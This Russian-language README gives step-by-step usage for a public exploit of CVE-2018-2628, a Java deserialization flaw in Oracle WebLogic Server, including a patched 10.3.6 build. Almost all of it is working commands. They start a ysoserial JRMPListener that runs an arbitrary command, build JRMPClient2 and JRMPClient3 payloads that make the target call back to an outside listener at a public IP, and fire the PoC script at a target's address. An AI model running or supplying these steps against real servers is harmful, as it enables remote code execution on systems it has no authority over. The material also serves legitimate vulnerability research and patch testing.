ysoserial-cve-2018-2628

0x1. Подготовка

• Подготовьте скрипт POC, объект Payload Object и среду, необходимую для работы JRMPListener Python 2.7.x Oracle Java SE 1.7+
• Подготовьте среду WebLogic Server 10.3.6 с установленным патчем Patch Set Update 180417 (достаточно только AdminServer) Если у вас уже есть готовая среда WebLogic с этой версией PSU, этот шаг можно пропустить.
• Подготовьте инструменты POC Скачайте скрипт POC (wls-cve-2018-2628-poc.py) из этого проекта Скачайте JAR-файл (ysoserial-<version>-cve-2018-2628-all.jar) для генерации Payload Object и запуска JRMPListener со страницы release этого проекта

0x2. Запуск JRMPListener

Формат команды:

java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <порт прослушивания> <класс гаджета> <команда>

Например:

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"

При выводе сообщения *Opening JRMP listener on 22801 запишите IP-адрес хоста, на котором работает JRMPListener (в примере это IP 47.94.158.125 на виртуальной машине Alibaba Cloud ECS) и указанный порт.

0x3. Генерация строки Payload на основе IP-адреса и порта прослушивания JRMPListener из предыдущего шага

Известны два метода (при генерации Payload Object String можно использовать любой из двух методов):

• Использование java.rmi.activation.Activator [CVE-2017-3248]

Формат команды для генерации Payload Object String:

java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <IP JRMPListener>:<порт JRMPListener> | xxd -p | tr -d $'\n' && echo

Например:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo

Пример (вывод бинарных данных Payload объекта, сгенерированного JRMPClient2):

• Использование weblogic.jms.common.StreamMessageImpl для инкапсуляции java.rmi.registry.Registry

Формат команды для генерации Payload Object String:

java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient3 <IP JRMPListener>:<порт JRMPListener> | xxd -p | tr -d $'\n' && echo

Например:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo

Пример (вывод бинарных данных Payload объекта, сгенерированного JRMPClient3):

0x4. Редактирование и запуск скрипта POC

Отредактируйте wls-cve-2018-2628-poc.py: замените значение переменной payload_str в верхней части скрипта на hex-строку, сгенерированную на предыдущем шаге (оба значения переменной payload_str, которые уже есть в скрипте, можно использовать напрямую; они соответствуют hex-строкам, полученным двумя описанными выше методами).

Формат команды:

python wls-cve-2018-2628-poc.py <IP прослушивания целевого экземпляра WebLogic Server> <порт прослушивания целевого экземпляра WebLogic Server>

Например:

python wls-cve-2018-2628-poc.py 192.168.64.83 7001

Пример (с установленным Patch Set Update 180417):

0x5. Благодарности

xxlegend@nsfocus (один из первооткрывателей и сообщителей об уязвимости CVE-2018-2628, раскрыл способ эксплуатации и предоставил примеры кода) badcode@knownsec (предоставил пример кода для инкапсуляции java.rmi.registry.Registry через weblogic.jms.common.StreamMessageImpl) проект ysoserial (собрано множество эксплойтов для десериализации Java)